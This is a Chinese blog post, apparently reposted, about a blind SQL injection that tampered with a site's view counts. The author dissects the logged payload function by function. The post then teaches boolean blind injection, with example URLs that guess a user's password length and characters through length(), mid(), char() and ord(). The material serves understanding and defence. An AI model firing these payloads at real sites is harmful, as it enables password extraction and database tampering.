生活随笔
收集整理的這篇文章主要介紹了
遭遇一次MySQL猜解注入攻击
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
遭遇一次MySQL猜解注入攻擊
前些日子數據庫被入侵,文章的閱讀數都被纂改了,還好及時發現并做好備份。查一下 MySQL 語句記錄,發現這么原來是這么一句 SQL 在搗鬼:
1 UPDATE?table?SET?views =?'1'?WHERE?id = -2441?OR?(ORD(MID((SELECT?IFNULL(CAST(FirstName?AS?CHAR),0x20)?FROM?user?ORDERBY?id LIMIT 1,1),2,1))>112)#
PS:user 這個表是數據庫里一個以前測試用的表,表的結構也寫到博文里面,暴露了字段。
這句 SQL 為什么能那么厲害呢?我們接下來分析一下。
1. 首先是 CAST(FirstName AS CHAR) 這個子句。MySQL 的 CAST() 函數可用來獲取一個類型的值,并產生另一個類型的值。具體的使用可以參看MySQL CAST與CONVERT 函數的用法?這篇文章。我們執行一下,看看結果是什么:
01 mysql>?SELECT?CAST(FirstName?AS?CHAR)?FROM?user;
02 +-------------------------+
03 |?CAST(FirstName?AS?CHAR) |
04 +-------------------------+
05 | Gonn??????????????????? |
06 | Mio???????????????????? |
07 | Google????????????????? |
08 | yale??????????????????? |
09 +-------------------------+
就是將 FirstName 這個字段全部轉成 CHAR 類型。
2. 接下來我們再看 IFNULL(CAST(FirstName AS CHAR),0x20) 這個子句的作用。IFNULL 用法:IFNULL(expr1,expr2),如果 expr1 不是 NULL,IFNULL() 返回 expr1,否則它返回 expr2。具體可以參看《MySQL IFNULL()函數用法》。
執行一下:
01 mysql>?SELECT?IFNULL(CAST(FirstName?AS?CHAR),0x20)?FROM?user;
02 +--------------------------------------+
03 | IFNULL(CAST(FirstName?AS?CHAR),0x20) |
04 +--------------------------------------+
05 | Gonn???????????????????????????????? |
06 | Mio????????????????????????????????? |
07 | Google?????????????????????????????? |
08 | yale???????????????????????????????? |
09 +--------------------------------------+
雖然看起來結果沒啥不同,但是,它起到了一個作用。假設 CAST 轉換成 CHAR 失敗,它就會返回 0x20 這個值,為后面的 ORD 提供作用。
3. 接下來再看 MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) 這個子句。MID() 這個函數就是截取字符串用的,具體可以看看《MySQL MID()函數用法》這個。
1 mysql>?SELECT?MID((SELECT?IFNULL(CAST(FirstName?AS?CHAR),0x20)?FROM?user?ORDER?BY?id LIMIT 1,1),2,1);
2 +----------------------------------------------------------------------------------------+
3 | MID((SELECT?IFNULL(CAST(FirstName?AS?CHAR),0x20)?FROM?user?ORDER?BY?id LIMIT 1,1),2,1) |
4 +----------------------------------------------------------------------------------------+
5 | i????????????????????????????????????????????????????????????????????????????????????? |
6 +----------------------------------------------------------------------------------------+
就得到一個字母 i。
4. 關鍵的子句來了:ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))。ORD() 函數返回字符串第一個字符的 ASCII 值, 《《MySQL ORD()函數用法》》。
1 mysql>?SELECT?ORD(MID((SELECT?IFNULL(CAST(FirstName?AS?CHAR),0x20)?FROM?user?ORDER?BY?id LIMIT 1,1),2,1));
2 +---------------------------------------------------------------------------------------------+
3 | ORD(MID((SELECT?IFNULL(CAST(FirstName?AS?CHAR),0x20)?FROM?user?ORDER?BY?id LIMIT 1,1),2,1)) |
4 +---------------------------------------------------------------------------------------------+
5 |???????????????????????????????????????????????????????????????????????????????????????? 105 |
6 +---------------------------------------------------------------------------------------------+
就是 i 的 ASCII 碼是105.
如果是失敗,返回 0x20 這種情況:
1 mysql>?SELECT?ORD('0x20');
兩種情況,在 ASCII 碼中都要比 112 前,就是下面的?hack?語句是可以執行的。
1 UPDATE?table?SET?views =?'1'?WHERE?id = -2441?OR?(ORD(MID((SELECT?IFNULL(CAST(FirstName?AS?CHAR),0x20)?FROMnowamagic.`tb2`?ORDER?BY?id LIMIT 1,1),2,1))>112)#
MySQL 猜解注入
在 MySQL 中內置了很多函數,利用它們,即使在沒有聯合查詢功能的老版本 MySQL 上也可以做一些意想不到的操作。假設網站存在于http://www.nm.net/,我們想知道用戶ID等于10的用戶的密碼,那么首先進行如下請求:
1 http://www.nm.net/index.php?id=10 and length(password)=12#
我們通過 length() 函數以及是否正確返回正常頁面來確定用戶密碼的長度,這里我們猜解的是12位,注意數字后要有一個#號。接下來用mid()和char()暴力猜解口令的每一個字符,如果猜對了則頁面返回正常:
1 http://www.nm.net/index.php?id=10 and mid(password,1,1)=char(0x60)#
Mid()函數原型是“Mid(str,pos,len)”,也可以用substring()函數。Char()函數的參數是ASCII值,在0~255之間,一個遍歷過去就可以完成破解。
另外還可以用between()函數先判斷這個字符是數字還是字母,縮小范圍,加快暴力破解的速度。例如要判斷字符是否是小寫字母還可以用如下請求:
1 http://www.nm.net/index.php?id=10 and (mid(password,1,1)) between char(0x61) and char(0x7A)#
除了char()函數,還可以用ord函數來進行猜解。Ord函數可以得到字符的ASCII值,所以它也能實現類似的功能:
1 http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))=0x6D#
用ord函數的另一個好處就是可以使用大于小于這種運算符來確定字符的范圍:
1 http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))>0x41#
就這樣慢慢一步步手工猜解注入。
總結
以上是生活随笔 為你收集整理的遭遇一次MySQL猜解注入攻击 的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔 網站內容還不錯,歡迎將生活随笔 推薦給好友。